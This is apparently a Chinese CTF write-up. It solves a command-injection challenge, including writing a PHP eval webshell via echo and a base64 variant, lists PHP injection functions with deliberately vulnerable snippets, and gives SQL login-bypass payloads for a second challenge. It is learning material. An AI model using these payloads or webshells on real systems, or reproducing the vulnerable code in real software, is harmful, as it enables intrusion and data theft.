目录
0x01命令执行
[ACTF2020 新生赛]Exec1
1、解法1
2、解法2
3、总结
3.1php命令注入函数
3.2java命令注入函数
3.3常见管道符
0x02SQL注入
[极客大挑战 2019]EasySQL1
0x01命令执行
[ACTF2020 新生赛]Exec1
1、解法1
ping本地,有回显,TTL=42,应该是修改过的,无法根据此判断系统类型。
分别尝试window和Linux系统命令,判断类型。
查看本级目录
遍历目录,查看上级目录
查看上上级目录
查看上上上级目录(到顶了),发现flag文件名
读它
2、解法2
写入webshell,用蚁剑连接
直接写入echo '<?php eval($_POST[1]); ?>' > 1.phpbase64编码写入echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php
写入
验证
连接
3、总结
3.1php命令注入函数
exec() 、shell_exec() 、system() 、popen() 、 passthru() 、 proc_open() 、反引号``
exec:该函数无回显需使用 echo 进行输出,且只返回执行后的最后一行结果。
<?php$sys = $_REQUEST['value'];$cmd = exec($sys);echo $cmd;?>
shell_exec():无回显需使用 echo 或者 var_dump 进行输出,但返回结果所有内容。
<?php$sys = $_REQUEST['value'];$cmd = shell_exec($sys);var_dump( $cmd);?>
反引号`` :反引号其实调用的是shell_exec()函数,当反引号中的变量可控时就会造成命令执行,且无回显。
<?php$sys = $_REQUEST['value'];$cmd = `$sys`;echo $cmd;?>
system():有回显且返回所有内容。最常见的命令执行方式。如果目标是LInux则执行 Bash 命令,如果是Windows则执行 cmd 命令。
//简单例子<?php$sys = $_REQUEST['value'];$cmd = system($sys);?>
在ACTF2020新生赛Exec1该题中,后端逻辑为:
<?php if (isset($_POST['target'])) {system("ping -c 3 ".$_POST['target']);}?>
popen(comnand,mode):该函数通常用于打开进程文件指针,但如果传入的参数可控也可造成命令执行,且该函数无回显,通过echo 不回直接返回执行的结果,而是返回的是文件指针。
<?php$sys = $_REQUEST['value'];$cmd = popen($sys,'r');var_dump($cmd); ;?>
passthru():与 system() 类似,也可将输入的参数当做命令执行,且函数执行后有回显。
<?php $sys = $_REQUEST['value']; $cmd = passthru($sys); ?>
proc_open():执行一个命令,并且打开用来输入/输出的文件指针。 类似 popen() 函数,
3.2java命令注入函数
java.lang.Runtime、 ava.lang.ProcessBuilder、 java.lang.UNIXProcess/ProcessImpl
3.3常见管道符
windows
| 直接执行后面的语句 || 如果前面执行的语句出错,那么才执行后面的语句 & 前面和后面的语句都会被执行 && 前面语句出错后面的语句也不执行,只有前面的语句成功执行才执行后面的语句
linux
| 直接执行后面的语句 || 如果前面执行的语句出错,那么才执行后面的语句 & 前面和后面的语句都会被执行 && 前面语句出错后面的语句也不执行,只有前面的语句成功执行才执行后面的语句 ; 前面的语句执行完成后,继续执行后面的语句。(特有)
0x02SQL注入
[极客大挑战 2019]EasySQL1
发现是登录界面,根据题目描述的提示,判断是SQL注入
随意输入用户名和密码,用hackbar LoadURL
构造payload查看错误提示
/check.php?username=admin'aa--&password=1111
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'aa--' and password='1111'' at line 1
根据提示可以分析出的信息有:
1、数据库:MariaDB 2、SQL后端逻辑:username='$username' and password='$password'
既然是登录框,那肯定是要登录上去看看的
/check.php?username=admin' or 1=1 --+&password='--+
发现flag